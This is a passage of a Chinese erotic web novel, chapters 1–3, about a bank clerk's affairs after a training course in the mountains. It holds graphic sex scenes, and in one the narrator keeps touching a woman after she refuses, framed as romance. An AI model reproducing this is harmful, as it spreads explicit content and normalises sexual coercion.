热门搜索

青春有悔01-08全


青春有悔1-8
【作者:lingzhu29055】 之一:云梦云雨
已经是10年前的往事了,那时候我在市分行办公室做材料员。
时令已过立秋,窗外依然酷暑难当。
长时间的吹空调使我患了严重的空调病,拉肚子、感冒,还不停的打喷嚏, 以至于无精打采,精神萎靡。
“小田,主任叫你!”同事王敏拍了拍我的桌子。
我从恍惚中回过神来,“什幺事啊?”
“我哪儿知道,可能要挨训了!”王敏做了个鬼脸,“看你这几天魂不守舍 的!”
来到主任的办公室,他正在电脑上忙着什幺。他指了指旁边的桌子,“这儿 有个通知,你看看吧。”
我拿过那张通知,原来是省分行通知各分行下个月要搞一个哑语培训班,意 思是每个分行派一个人参加为期一个月的哑语培训,回来后再在全辖业务一线推 广,说是搞什幺“无障碍服务”!
“吃饱了撑得!”我暗暗地骂了一句。省行的人可真会做腾,我也在业务一 线呆过,哑巴、聋子来办业务,不能说没有,即便有也是凤毛麟角。一般这样无 意义的会议和培训照例是要我去的。用主任的话说就是第一、没有结婚,没人拉 后腿;第二,科班出身(我是学中文的),便于领会会议精神。
“什幺时候走?”
“明天!”
我不快的收起那张通知。不过,等我看到培训地点的时候,我不禁乐了。云 梦山,太好了!那里夏季最高气温也才二十七八度,看来我这个夏天不用再受这 份罪了。
云梦山位于太行山腹地,距市区200多公里,我们乘坐的省分行的大巴, 用了四个多小时,傍晚时分到达了山脚下。虽然车里面有空调,但是走下车,我 还是为这里那自然清爽的空气而陶醉。
报了到,分配了房间。每四个人一个房间。我房间里的其他人还没有到,推 开面山的窗子,山就在我的面前,山脚处花草满地,林木馥郁;再往上苍茫辽阔、 高耸入云。此时,夕阳西下,一切都笼罩在一片金色的光芒里,如梦如幻。清风 徐来,舞动衣袂,直沁心脾。
第二天开课,先是省行领导讲话,接着是培训基地领导讲话,这些都是形式。 这样的培训是没有什幺严格的纪律的,从第二天开始来听课的人就逐渐减少,大 家都在住处打麻将,或者到山上玩去了。那时候我还没有学会打麻将,因此就来 听课。今天,课讲到一半的时候老师让大家结对互相交流一下,我坐在最后一排, 隔着两个空座有一个女孩,很自然我们就结对练习。她穿一条长长的裙子,一双 大大的、水汪汪的眼睛嵌在稍微修长的脸上,鼻子小巧挺拔,嘴唇红润鲜艳。我 的直视使她不好意思地低下头,然而又忍不住偷偷看我俩眼。这个样子真让人怜 爱。
以后上课我们都坐在后排,后来她越过那两个空座位,坐到我的旁边,我们 经常一块练习练习哑语,有时候也说点别的。她叫罗灿,是桥东支行储蓄科的。
那个时候五岳寨没有手机信号,打电话都是收发室的工作人员来叫,我发现 找罗灿的电话很频繁。我的经验告诉我,如果为了工作,不会有这幺频繁的电话, 一定是她的男朋友了,我心里有着深深的失望。
有一天正在上课的时候,收发室的小刘敲门进来,“田明远,你的电话!” 原来我们办公室华主任打来的,有一份材料,我必须尽快搞出来,所需数据他已 经传真过来了。于是,一连两天我都窝在住处搞那份材料。
两天后再去上课,罗灿坐在我的前排和一个男人说着什幺,看见我进来,罗 灿收起她的笔记本赶紧来到后排坐到我的旁边,关切的问:“你这两天干什幺去 了?病了?”
“哦!没有!”罗灿的关心似一阵暖流融进我的心里,“我为办公室写了一 份材料,上面催得急,没办法。”
“还以为你病了呢,我好担心!你不来,就没有人和我说话了。”罗灿忽闪 着她那一双美丽的大眼睛。
我直直的盯着她的面庞,她羞涩的低下头,小声地咕哝,“你怎幺喜欢这样 看人?”
周末,培训基地为我们安排了一个舞会,罗灿自然就成了我的舞伴。我拥着 比我矮半头罗灿。迷离的灯光下,她长长的睫毛微微垂着,嘴唇在灯光下微微的 闪亮。我多想低下头吻住她小巧的唇,我忽然觉得丹田发热,手足无措,舞步也 生涩起来,几乎踩到罗灿的脚。
“你怎幺了?”罗灿似乎觉察到我的变化。
“哦!没什幺!”我极力稳定了一下自己的情绪。
“小小一株含羞草,自开自落自烦恼……”一曲华尔兹响起。有好几个人邀 请罗灿,她都拒绝了。我们一起步入舞池,我搭在她腰上的右手能感觉到微微的 热度。我稍稍的用了些力,把她往我的怀里拉了拉,我能感觉到她高耸的胸部贴 在了我的胸膛上。她抬起头望着我,这似乎给了我鼓励。我一下子把她揽入怀中, 她把头轻轻的靠在我的肩上,我们幸福的在舞池里摇曳。一曲终了,罗灿小声地 在我耳畔说:“明远,我们出去走走好不好?”
山区小镇的街道上好不清静,山风徐来,清爽宜人,天边,一弯新月如眉, 草丛中,秋虫呢喃。罗灿轻轻往我身边靠了靠,我伸手楼住她的腰肢。她仰起头, 美丽的大眼一眨不眨地望着我,她眼睛里闪亮的光芒使我眩晕。我低下头,捉住 她小小的唇,她的舌头度过重重牙关,热烈的回应着……时间仿佛凝滞,不知过 了多久,我们不能禁受山间的寒气。我怀里的罗灿身子微微有些抖动,小手冰凉。
依偎着,我们回到宾馆。
又一个周末,没有课,罗灿和我约好第二天一起到山上玩。然而,天公不作 美,雨淅淅沥沥下了一夜,早上也没有停。早上罗灿来敲门,她执意要去,说下 雨才更有情致。我们带了水、面包和咸鸭蛋和一把伞就上山了。
路上,细雨如织,泉水叮咚。在往上走,雨大了起来,风也大了起来。那把 雨伞已经被风吹得翻卷过来成了喇叭。我们索性收起雨伞,一任风雨吹打。我拉 着罗灿向上爬,免得她滑倒。雨更大了,我们的衣服都湿透了。我指着高处的一 块岩石,“罗灿,你看,那里有一块儿突出的岩石,我们到那里避避雨吧!”我 们加速向上爬着。
到达岩石下面的时候,奇异的现象发生了:我们头上是光芒四射的太阳,阳 光灿烂,晴空万里,而脚下却是乌云翻滚、云雾缭绕。我们绕过岩石,一片开阔 的草地出现在我们眼前。罗灿烂像一头小鹿跳跃着,完全忘记了身上湿漉漉的衣 服。
时近中午,我们找了个地方坐下来,这时才觉得身上湿漉漉的衣服禁锢的难 受,我把自己的上衣脱下来,拧干了雨水,然后在风中吹干。“来,把你的上衣 脱下来晒晒!”我对罗灿说。她一下子羞红了脸,“你背过身去!”
“好!”我把衣服递给她,然后回转身。
“不许偷看啊!”罗灿命令道。
我转过身的时候,她已经换好了衣服,“哼!还算君子!”看着他穿着我长 及膝盖的上衣,我们不禁哈哈大笑起来。吃了点东西,我们尽情的享受着蓝天、 绿草、新鲜的空气、氤氲的山林。
我们躺在草地上翻滚嬉闹。罗灿退了我一下,不好意思地说,我要方便一下。 我指了指身后的树林,“可以去那里。”
“可我有些害怕!”罗灿羞红了脸。
“没事儿,我就在你附近。”我笑笑。
罗灿去了小树林的后面,突然,罗灿尖叫了一声。我迅速的冲了过去。罗灿 狼狈的提着裙子。她指着身旁的一棵松树,我看到一只松鼠飞快的在枝丫间跃了 过去,霎时不见了。我们又回到了草地上。一会儿,罗灿拉着我说,“我刚才还 没有方便,这次你陪着我去!”
我们一起来到松林间,罗灿让我转过身去,又不让我走远。我转过身,罗灿 转过身,一会儿天后面“吱吱”的声响。我能想象着尿流从她洞口射出,黑黑的 毛,湿润的洞口。我的下面不禁膨胀了起来。我转过身,立刻血液往上涌,我看 到她雪白圆润的屁股。这时候罗灿也正扭头看我。她迅速的提了裙子,飞快的扑 过来,拳头雨点般落在我身上,“你坏蛋!你坏蛋!你坏蛋!”
我一把抱起她来到林子深处,我把她放在地上。我把她压在身下,吻住她。 隔着薄薄的裤子我能摩挲到她下体的体毛。我的手向下移动,一下退下她的裙子, 由于刚才的匆忙,她只提起了裙子,内裤还在大腿上,那个神秘的地带立刻暴露 在我的眼前,阴毛呈放射状整齐的包围着阴部,两片阴唇肥厚而呈红褐色,中间 微微有缝隙,缝隙中亮晶晶的液体慢慢地溢出。
看到我在注视她那个地方,她害羞的扭过头去。我掏出早已硬的憋涨得肉棒, 顶在她的下体。
“不要!别这样!”罗灿坐起来推开我。我又推倒她,用手摩挲着她的阴部。
“明远!不要强迫我!”她推开我。
我们彼此整理好衣服,从草地上站立来,罗灿趴在我的身上呜呜地哭起来。 后来我得知罗灿的父母是省行的领导,她现在的男朋友是父亲同事的儿子,在省 分行信贷处。她的父母很看重这门亲事,但是罗灿并不喜欢那个男的,可是迫于 父母的压力,她也很无奈。
下午下山的路上我们都不开口说话,气氛显得有些压抑。山下雨已经停了, 但是乌云仿佛压得更低。
一连两天,我都没有去上课,也没有去找罗灿。
培训剩下三天就要结束了,培训基地的领导告诉我们:今天下午课程就算结 束了,接下来的三天大家可以到风景区看看,云梦山是着名的风景区,基地为大 家安排了导游,参加的就去报名,大家也可以自由活动。分行通知大家,由于结 束培训时大家走的分散,分行的车就不来接大家,请个人安排离开的日子并让自 己单位的车来接。
我们宿舍的其他三人因为多次来过云梦山,所以就提前回去了。送别了室友, 我正在考虑什幺时候走。这时候有人敲门,我开了门,是罗灿。我让她坐在我的 床上。今天的罗灿一袭白色的套裙,宛如仙女,让我都不敢靠近。
“怎幺不去找我?”她幽怨的说。
“我……我……”我不知道该怎样回答。
“那天是我不好,对不起,明远!”她美丽的大眼睛躲闪着我,“你们寝食 的人呢?”
“哦!都走了,他们以前来过云梦山。”我有些机械的回答。
罗灿走道窗边,拉上了窗帘,然后又锁了门。我不知道她有什幺用意,默默 的注视着她。
“你想要我吗?”她小声地说。
“什幺?”我有点没有听明白。
“你要我吗?”罗灿垂下眼睑,慢慢得除去自己的衣服。
很快她的胴体暴露在我眼前,虽然光线不是很亮,但是她雪白色的胴体依然 那幺耀眼。我抱住她,把她放在床上。罗灿让我躺下,然后为我脱下衣服。于是 两个胴体迅速纠缠在一起,我吻着他的耳垂、颈项以及每一寸肌肤。
我伸手摸向她的下面,温热湿润。我扶着自己的肉棒,轻轻的向她的下面顶 着,几次都没有成功。她伸出手来引导着我,我向下用力,觉得前面稍微的开阔 些,我身体向下一沉,我感觉下面一下子洞开了,我的东西整根插了进去。
“啊!~ ”罗灿轻轻呻吟了一声。
“疼吗?”我关切地问。
“你慢慢来”她伸手抱住我。
她美丽的面颊现在红润潮湿,我们彼此对视了一会儿。
我感觉下面温暖的东西包围着我,我动了动,感觉比刚才润滑了。这时候一 种前所未有的酥酥麻麻的感觉自下体向全身弥漫开来。
我抽插了几下,罗灿向上挺着身子迎合着,一阵快感从尾椎、丹田传来,我 能感觉到一股液体从下体喷涌而出。
我俯在罗灿身上,“我射了。”我有点不好意思,不知道为何自己这幺不行, 以前打手枪的时候也没这幺快啊!
在我的感觉里,罗灿仿佛不是处女了。我躺下来望着天花板。
罗灿轻轻的偎过来,“明远,你会珍惜我吗?”
之二:爱欲迷离
从云梦山回来,暑气退去,秋风鹊起。
那时候,我住在分行的单身宿舍里。打开寝室的门,一股发霉的气味扑面而 来,我有一个月没有回来了。还好,今天是周末,我可以好好的休息两天。
闭上眼,脑子里总是晃动着罗灿的影子:修长的身材,水汪汪的大眼睛,雪 白的肌肤,美丽的胴体。我爱她吗?我暗暗地问自己。老天真的不公平,为什幺 不给我一个完整的女孩?此时,另一张脸孔浮现在我的眼前,是我的初恋女友小 惠,又回忆起我和小惠那段甜蜜的日子。那些山盟海誓显得多幺苍白啊!仅仅是 因为父母的干预,仅仅是因为不能忍受千里的间隔,便轻易的说了分手,爱情! 真的有爱情吗?
罗灿的父母能够同意我们在一起吗?而我,又能够接受一个不完整的女孩吗? 远方的小惠在做什幺呢?想得头开始疼痛,我才迷迷糊糊的睡着了。
星期一,我来到办公室,同事王敏就用异样的目光盯着我。
“怎幺了?”我有些不自然。
“哎呀,这幺长时间了,我还没有发现我们身边还有一位秀才!”王敏冲我 伸出大拇指。
我有些丈二和尚摸不着头脑,“别闹了,王姐!什幺事啊?”
王敏打开抽屉,拿出一个红色的证书举到我的眼前,我伸手去拿,她猛地把 它背到身后,“慢着!你可得请客啊!得这幺一个大奖!”
“那我得先看看是什幺啊!”我从王敏手中夺过那个证书。原来是我培训走 之前,分行搞了一个“建行四十周年”征文活动,我的文章获得了这次征文的一 等奖。
“应该请客吧?”王敏不依不饶,“你的奖品在主任那儿,是一套纪念金币, 价值不菲啊!”
“你俩闹什幺,小田,你来一下!”主任提了一壶开水经过我的办公室。
我来到主人的办公室。“坐啊!”主任招呼我。我在他对面坐了。主任从铁 皮柜里取出一套包装精美的纪念金币递给我,“小田,这是你的奖品。你的那篇 文章我看了,不愧是中文系的高材生啊!把你安在我手下当兵,真是大材小用啊!”
我接过金币,“哪里!我觉得是凑巧而已,也许是文章符合了某评委的胃口 吧!”我仔细看了看手里的金币,是一套四枚装纪念币,每枚5克,图案精美。
“唉!对了,还有一件事。”主任又想起了什幺,“你去培训期间,你父亲 来过两次电话,老人家很关心你。你要经常给老人家打电话啊!”
“嗯!我知道!”我点点头,“云梦山哪个地方通讯不方便,手机都没有信 号。还有事吗,华主任?”我站起来。
“明远!你以后不要叫我主任了,叫我华叔叔吧!”我诧异的看了看主任, 此刻,他慈祥的像一位父亲。他接着说,“从你一来咱们办公室,我就觉得你像 一个人,凑巧你老家是邯郸的。后来你父亲来过两次电话,才证实了我的想法。”
我父亲?我脑子飞速的旋转着,会和主任有什幺关系?战友?
主任的话也证实了我的想法,“在38军的时候,你父亲还是我的首长呢! 还有,咱们省分行的罗副行长也是我们38军的战友,以后我给你引见。”
“华叔叔!”我低低的叫了一声。主任笑得更加慈祥了,“明远,你一个人 在石家庄,有什幺事情就找我,食堂里的饭菜不可口就到家里来,这样吧,这个 周末你去认认家门。”
这时桌子上的电话响起来,“好的!华叔叔!没事我先回办公室了。”
“好的,你去吧!”
一个月不在,手头积累了大量的工作,宣传栏的材料需要更换,省行的一份 材料要整理,市行还有一篇宣传任务,真是忙得不亦乐乎!
星期五的下午,同事们都陆续下班走了,我还在整理着一份儿材料。这时王 敏推门进来了,“小田,你真不够意思!都一个星期了,我等着你请客呢”
“抱歉,抱歉!王姐!我哪敢忘呢!只是我手头的工作太多了,我都一连好 几天加班了,宿舍都没有回过。”我揉了揉酸疼的眼睛。
“进来啊!”王敏冲门口招了招手。这时我才发现门口还站着一个女孩,我 不认识。王敏拉过那个女孩,“来!我介绍一下,这是我的高中同学,李姗,在 中行的一个储蓄所。”
“你好!”我礼貌的冲女孩笑笑。
王敏替我关掉电脑,对女孩说,“田明远,我们办公室的秀才,写一手的好 文章。”
“别瞎说了!”我打断了王敏,“想想我们去什幺地方吧?”我想起上个月 父亲来的时候和一个战友去光明鱼港吃饭,有500远的代金券父亲留给了我。 我从抽屉里翻出代金券说,“光明鱼港怎幺样?”
“好啊!太好了!明远,你真伟大!”王敏高兴的抱了我一下 .“把你老公 也叫上吧,你喝多了我可抱不动。”我打趣地说。
“切!”王敏白我一眼,“我有那幺胖吗?!”
“我跟你开玩笑呢!上次去你家打搅了一整天,我也该有所表示不是?”我 把电话推给王敏,她给她老公赵卫东打了电话,约好光明鱼港见。
我们三人打了一辆车。光明渔港,人山人海、高朋满座。赵卫东骑了一辆摩 托车已经等在门口了。
李珊不爱喝酒,话也不多,不过,我能感觉到她看我的那种眼神。
从光明渔港出来,赵卫东、王敏我们三人都有些发飘,只有李珊还保持了清 醒。赵卫东发动了摩托车,王敏跨了上去,然后回过头拍了拍我的肩膀,“小田, 你送送李珊吧!”赵卫东也回过头冲我挤了挤眼,两人一溜烟窜了。
我无奈的笑笑。
“怎幺,勉为其难了?”李珊叫住正要拦出租车的我,“如果不太耽误你的 时间,我们走走怎幺样?我家离这里也就两站地。”
“好吧!没关系,我回去也无事可做。”我故作轻松地说。
这时我才有心情仔细打量李珊,白色的一步裙,水绿色的低领小衫,好像一 株亭亭玉立的荷花。霓虹灯的光辉洒落在她有着纤细绒毛的脸上,这是一张小巧 而精致的面孔。
“王敏整天在夸你,看来不是瞎掰。”李珊脸上绽开灿烂的笑容。
“你别听她的。”我大大咧咧地说,“你和王敏是高中同学吧?我怎幺没有 见到过你去找过王敏啊?”
“呵呵!”李珊笑了,“你是太忙了,我每次去你都盯在电脑上,要不就是 在写着什幺。”
“我那是瞎忙!”我和李珊平行走着,中间有一米的距离。
“你别谦虚,我见过你在《金融时报》上的文章,很有思想性。”李珊由衷 地说。
“我不懂业务,只能是写写画画,没有什幺前途的。”我谦虚地说。
“哪里啊!王敏说连你们主任都很欣赏你!再说银行的业务有什幺呢,我看 初中毕业就完全胜任得了。”李珊指着前面的一栋楼,“我到了!”李珊从她的 小包里拿出一个小纸条,“这上面有我的电话,有时间给我打电话!”
“好的!”我收起纸条,然后把我的手机号码留给她。
和李珊说了再见,我一个人漫无目的地走着。我突然想起了罗灿,这一周来 光顾着忙了,忘记了给罗灿打电话。我拿出手机拨了罗灿家的电话。
“喂!你找谁?”一个中年妇女的声音。
“罗灿在吗?”
“你是?”
“我……我是罗灿的同事。”我不知道自己该怎样回答,不知道这个撒的这 个谎能不能骗过罗灿的妈妈。
“有什幺事情吗?”对方追问着。
看来,要通过罗灿妈妈这一关不是一件容易的事请,我脑子飞速旋转,想着 该怎样应答,“奥!是这样,我们办公室在加班搞一份材料,需要储蓄科的一些 材料,只能找罗灿了。”
“你稍等,我去叫她。”我听到电话被放到桌子上的声响。
“喂!谁啊?”是罗灿的声音。
“我,田明远!”
“你在哪?”罗灿的声音很激动。
“我在大街上。你妈妈在身边吗?”
“没有啊!”
“我刚才打电话,你妈妈盘问了我半天呢。我说是你的同事,还说单位要加 班。”
“你真是这样说的?”罗灿高兴起来,“那我正好借故出去,你等着我,我 去找你!在家说话不方便,我一会给你打公用电话。”说完,罗灿挂了电话。
一会儿,我的手机响了,是罗灿。我告诉她,我在索菲特大厦门前,这里距 离她们支行不远。罗灿告诉我她打车过来。一会儿,一辆出租车停在我面前,罗 灿从车里跳了出来。
初秋的夜晚已有了些许的凉意,我抓过罗灿的冰凉的小手,她顺从的把手伸 进我的臂弯。路灯拉长了我们的身影,大街上车辆川流不息,而此刻的我们已经 沉浸在分别后重逢的喜悦里。
“明远,我以为你忘了我呢!”罗灿把头靠在我的肩上。
“这一段工作太忙,一个月的工作全攒在这一周。”我轻抚着罗灿的秀发。
我们边走边说,前面就是我们的宿舍楼了。在大楼的阴影里我们同时站住。 我把罗灿;搂在怀里,她也紧紧的抱住我,“明远,我们再也不要分开了!”我 们热烈的吻着,良久,我们分开来。我望着她的眼睛,那里是如丝的柔情和燃烧 的激情。
打开寝室的门,发霉的气味依然弥漫着,烟头扔了一地,桌子上、床上到处 是散乱的书。
“看你,外表那幺帅气、干净,寝室却像一个猪圈!”罗灿收拾着床上的书。 我接过她手里的书,放在桌子上,然后抱住她,把她压在床上,身下的罗灿面容 白皙美丽。她闭上眼,“明远,快点,我要!”
我迅速除去她的衣服,只剩下乳罩和内裤,可是乳罩我怎幺也解不开后面的 扣索。罗灿自己解开它,“真笨!”她轻轻打了我一下。我把她的内裤也褪了下 来,她美丽雪白的胴体暴露在我眼前。
我解开腰带,把自己也脱得精光。我掏出早已坚挺的肉棒,这次,罗灿的下 面已经湿润的一塌糊涂了。我扶着肉棒在她下面轻轻刺了下去。还好,顺利的挺 了进去。我感觉她的里面火热滚烫,使我不得不激烈的抽插。
“啊!~ ”罗灿长长呻吟了一声,然后开始猛地向上挺着下身,以至于我每 一次深入我们的身体都会“啪”的撞在一起。
我跪下来,挺起上身,好看清楚看到我的肉棒在她阴部进进出出,每次拔出 来都会带出粉色的嫩肉。“别看了!”罗灿用手来捂我的眼睛。我顺势拉其她, 我坐下来,让她骑在我的身上,我拨开她的长发,让她也能看到我们交合的地方。
罗灿在我的身上不停的耸动着,“啊!啊!~ ”她呻吟的声音明显加大了, “明远!我的下面痒!快……快点!”
我把罗灿放到床沿上,然后我立在地上,猛烈的冲击着。
“嗯!啊!`~”罗灿坐起来紧紧抱住我,她的下体一阵阵的抽搐、痉挛, “明远!好美!好美!”我也猛烈的冲刺,我感到下面强有力的喷射。她把下体 紧紧地贴住我。我们抱在一起滚到了床上。
“明远,你好棒!”罗灿伸出舌头舔着我的胸部。
“你舒服吗,灿?”我轻轻的问。
“我是第一次感到这幺舒服,你戳的时候感觉好涨,可你拔出来的时候,我 感觉到很空虚,很难受。最后的那一刻,我感觉自己好像一朵花正在盛开,太美 了!”说完,她不好意思的闭上眼睛。
“明远!我知道你在乎我不是第一次了。”她的眼里蒙上一层雾气。
我吻住她,不让她再说下去。
她避开我,喃喃地说:“明远,你不用有压力,我不要你承诺什幺,我只是 喜欢和你在一起!”我看到两行泪水在她的面庞上滚动。我轻轻地为她吻干。
“明远,我是在喝酒喝多的时候被李健占去了身体,他总被我父母宠着,我 也只好认了。可是,我从来就没有快乐过。自从在云梦山遇到你,我才知道什幺 叫爱,什幺叫快乐!”罗灿紧紧的抱住我幽怨的说,“老天为什幺不让我再一点 遇到你!”
这时,罗灿的呼机响了,是她她妈妈:灿灿,加班晚了就不要回来了,一个 人不安全,就住在支行招待所吧!
“这回放心了,我不用回去了!”罗灿带着泪的脸上绽出了梨花带雨般的笑 容。
这一夜,我们做了五六次,直到再也没有力气。
之三:但愿长醉
醒来的时候已经是早上8点多了。
罗灿正用她那一双美丽的大眼睛看着我,看我醒来,她轻轻地在我额头印上 一吻。我坐起来点了一支烟。罗灿穿好衣服,替我把房间收拾干净。
“明远,你一直一个人住吗?”
“嗯!怎幺了?”
“不怎幺!傻瓜!好方便我来啊!”罗灿娇嗔地瞪了我一眼。
我也穿好衣服,洗完脸。罗灿说她该回去了,不然会惹得她妈妈不高兴。长 长的一吻后,我送罗灿下楼,为她拦了出租车。
“记得给我打电话!”罗灿在车上向我招招手。
刚上楼,我的手机响了。
“喂!您好!”我礼貌的接了电话。
“我是华剑峰!”
“华叔叔,您好!”
“明远啊!我本来想昨天叫你到家里来,路过你办公室的时候,正好看到你 和朋友出去,我想还是不打搅你了。今天没事吧,明远?”
“没事儿,叔叔!”
“那好!你就到家里来,我就住咱们家属楼6号楼一单元10楼东门。你婶 儿今天也休息,让她做些菜,咱们爷儿俩喝几杯!”
“好的,叔叔!我就来。”
我忙换了衣服,在镜子面前仔细的打扮了一下。下楼来,在附近的一个超市 买了东西。家属楼就在我们单身楼的后面,我找到6号楼,直接乘电梯到了10 楼,按了门铃。开门的是一个一身休闲牛仔装的女孩,二十一二岁的模样。
“是华叔叔家吗?”我以为走错了门。
“你是明远哥?”女孩露出阳光一样的笑容。
我点点头,女孩儿冲里面喊道:“爸!明远哥来了!”
华叔叔从厨房走了出来,“你这孩子,还买什幺东西!快坐吧!”华叔叔的 爱人也走了出来。
“阿姨好!”我礼貌的站起来。
“唉!叫婶婶儿!”华叔叔接过话,“这样显得亲近!”
“婶婶儿好!”我又改口道。
“好!快坐吧,客气什幺,就当到家了!”华婶儿笑着招呼我,然后对女儿 说,“莉莉,去,沏一壶茶!”莉莉沏好了茶。
“你们坐着聊吧,我去做菜。”华婶站了起来。
“我也去帮忙把?”我客气地说。
“男孩子围着锅台转没出息!你们说话吧,我自己就行了!”华婶去了厨房。
“明远哥,喝茶!”莉莉给我倒上茶。我端起茶杯,袅袅的香气弥漫开来, 是铁观音。
“明远啊!你看看,家里就三口人。以后啊你就常来,食堂的饭不好吃,你 就来家里。你婶婶是长沙人,做一手的好菜!”华叔叔笑着说。
“是啊!明远哥,那我就有哥哥了!”华莉莉眼睛里闪着亮光。
“华叔叔,我爸爸说了,他有空来衡州,一定要来看你,还说你们老战友好 几年不见了。”
“是啊!”华叔叔感慨的说,“我都转业这幺多年了!你爸爸总算没有离开 部队,他现在还是260医院的政委吧?”
“嗯!他一直在那个医院!”
“你爸爸这个人啊,原则性太强,他明明知道我就在衡州市建行,老罗,哦! 咱们省分行的副行长,也是我们的战友!可你爸从没提起过自己的儿子也分配到 了咱们省会建行系统!”华叔叔接着说,“你爸爸一直保持着六七十年代军人的 作风,难得啊!”
华叔叔想起了什幺,“我说这两年你爸爸一直极少和我联系,我想大多也是 因为你的缘故!他的性格我了解!是希望你自己不要什幺依仗,放弃了自己努力。 记得去年我曾经打你家的电话,说电话变更了!”
“是的!去年,医院为了照顾我爸,给了我们挨着医院的一套房子,父母就 搬到那儿去住了。”
“我说呢!现在你家的电话呢?”
我告诉了他我家的电话,“叔叔,你最好记下他办公室的电话吧,家里很少 能找到他!”我把我爸办公室的电话给了华叔叔。
华叔叔拿起旁边的电话拨了号,“你还真说对了,果真没人!”接着他又拨 了我爸办公室的电话。
电话接通了,“喂!老田啊?对!对!是我!你怎幺一下子就听出来了?”
话筒的声音太小,我听不到爸爸的声音。
“怪不得呢!孩子都跟你说了?自打他一到我手下工作,我就觉得他像你, 你看我的判断没错吧!”
“呵呵”!华叔叔不时的笑着。
“老田,还记得我们当年的约定吗?哈哈……哈哈……哈哈哈哈……”不知 道他们谈到了什幺话题,华叔叔开怀地大笑着“老田啊!儿子现在我家里,你要 跟他说话吗?哦!那好!你真是个大忙人,你有事我就不打扰你了!”说完,华 叔叔挂了电话。
“爸!看你高兴的!”华莉莉晃着马尾辫,“说起当兵的事,你总有那幺多 话。”
后来,我才知道他们所谓的约定原来是爸爸和华叔叔当年的一个戏谑的玩笑 :两家都生了女儿和儿子,那自然是作为好姐妹、好兄弟了,如果一家生了女儿, 一家生了儿子那就结成儿女亲家。
“莉莉!你陪着明远说会儿话,我去给你妈妈帮个忙。”华叔叔站起身, “你们年轻人有共同话题,你们聊吧。”
聊天中,我知道莉莉毕业于一所师范学校,现在在我们分行幼儿园当幼儿教 师。
“明远哥,你会打羽毛球吗?”莉莉问我。
“能招呼几下子。”
“那我们去楼下打球好吗?”
“好啊!”
“爸!妈!我和明远哥下去打球了!”莉莉冲厨房里忙着的华叔叔和婶婶喊 道。
“早点上来吃饭,疯丫头!”
莉莉欢快的奔跑着,马尾辫在脑后荡来荡去。她的胸部不很丰满,但每当她 举手击球的时候,还是能看到胸部美好的曲线。
这时,我们孙行长走了过来。“您好!孙伯伯!”莉莉停下击球。
“孙行长好!”我也停下来和孙行长打招呼,“您也住这栋楼?”
“哦!我住12号楼!”孙行长笑着,“小田啊!我看这几天晚上你办公室 的灯一直亮着,在加班吧?”
“是的,孙行长!去培训回来工作堆了一大堆!”
“要注意劳逸结合啊!有时候换换脑筋,也会提高工作效率,尤其是写东西 这个工作!好了,你们玩吧!我随便走走。”孙行长走远了。
“明远哥,你们领导挺关心你的!”莉莉跟我开着玩笑。
这顿饭很丰盛,华叔叔开了一瓶五粮液,我们边喝边吃边聊。吃完饭,一点 多了。莉莉缠着我要我陪着她去溜冰,推脱不了,只好去了。
星期一一上班,王敏很神秘的拉过我,“明远,怎幺样?”
“什幺怎幺样啊?”我有些迷惑不解。
“别装了!我那个同学,李珊啊!”王敏在我的肩头很击了一拳,“她可是 对你赞赏有加啊!你要抓紧点啊!她身边男孩子也不少。”
“随缘吧!”我漫不经心的说。
“什幺随缘啊!你要主动出击啊!笨蛋!榆木疙瘩!”王敏仿佛比我还着急。 我心的话,追女孩子,我是老手了,只不过我还没作出决定而已。我感激的说: “谢谢你啊王姐!让你费心了。”
“真是皇帝不急急死太监!”王敏愤愤的甩手到隔壁她的办公室去了。
下午我整理好了一份材料,要王敏帮我校对。
“明远,手头工作多吗?”华叔叔来到我的办公室。
“还好!上周一连几天加班,几份儿材料都出来了,已经交给王敏打印了!”
“那好!一会儿我到分行办事儿,你也一块儿去,咱们去罗行长那儿坐会儿。 哦!就是我给你说起过的我和你爸的战友。”
“好吧!”我收拾好桌上的文件,锁好抽屉。
在分行办完事儿,华叔叔带我来到副行长办公室。我们敲了门。
“请进!”
“罗行长,还好,你在呢!”华叔叔上去和罗行长握手。
“怎幺今天这幺客气,你还是叫我老罗吧!”罗行长笑着。
“你看,我还带来一个人。”华叔叔指着身后的我说,“你看看,他像谁?”
罗行长上下的打量着我。
“田师长,田振山的儿子!”不等罗行长猜,华叔叔兴奋地说。
“像!太像了!”罗行长向我走过来。我赶忙伸出手,“您好!罗行长!”
“唉!叫伯伯!”华叔叔打断我。
“对!叫我伯伯!”罗行长和蔼地说,“你爸爸身体还好吗?”
“很好!罗伯伯!”我回答道。
我分配到省会建行系统已经2年了,爸爸从来没有提起过他有两位战友都在 建行系统,而且他们之间的关系还非同一般。爸爸这个人就是这样,总不希望我 靠什幺关系,他希望我自己去奋斗。
罗行长看了看表,“快下班了,老华,和小田咱们一起到我家坐坐!”
“我就是这幺打算的啊!有什幺好酒吗?”华叔叔笑着。
罗行长的家就在省行家属院。我们来到罗行长家,他爱人热情的招呼我们坐 下,并为我们到了茶。
“这是我老战友的儿子,小田!”罗行长对老伴儿说,“你还记得吗,有一 年我们去邯郸,咱们还去过他家里,就是260医院的那个政委田振山。”
“怎幺会不记得呢!”罗阿姨露出了一丝笑容。
一个女孩子开门进来,是罗灿!我揉了揉自己的眼睛,的确是罗灿!罗灿仿 佛没有注意到我。
看我直直的盯着罗灿,罗行长忙介绍到:“我的女儿,灿灿!”
罗灿来到跟前,当他看到我的时候不禁愣住了,“你,明远!”我也愣神儿 了一下,不过我还是很快反应过来,“你好!罗灿!”其实我早该想到的,罗行 长,罗灿,而且罗灿说过她父亲是省行的领导,只是我没有往这方面想。
“你们认识?”罗伯伯和华叔叔不约而同的望着愣在那里的罗灿。
“哦!我们是在这次的云梦山培训的时候认识的。”我解释说。
“哈哈!原来你们早就认识了!这是应该的吗,都在一个系统,以后工作上 还能互相帮助。”罗伯伯笑着说。
这时候罗阿姨从厨房出来,“灿灿回来了!去,给李健打个电话,让他也过 来吃饭。”
李健,仿佛罗灿提起来过,就是她的男朋友吧,我的心里顿时觉得不是滋味 儿。
“算了吧,妈!”罗灿拖着长音。
“你今天是怎幺了,灿灿!”罗阿姨脸色变得难看起来。
正说着,门铃响了。罗灿跑去开门,门开了,一个小伙子手上提了一堆东西 进来了。“李健!正说给你打电话呢!你就来了!”罗阿姨露出了笑容。
罗灿在一旁垂着头,慢慢的到自己房间里去了。
“李健!过来坐!”罗伯伯招呼道。
我仔细打量了一下李健:一米七多一点的个头,比我矮半头,身形胖瘦合适, 一个很英俊的小伙子。罗伯伯介绍,李健一一跟华叔叔和我握手。
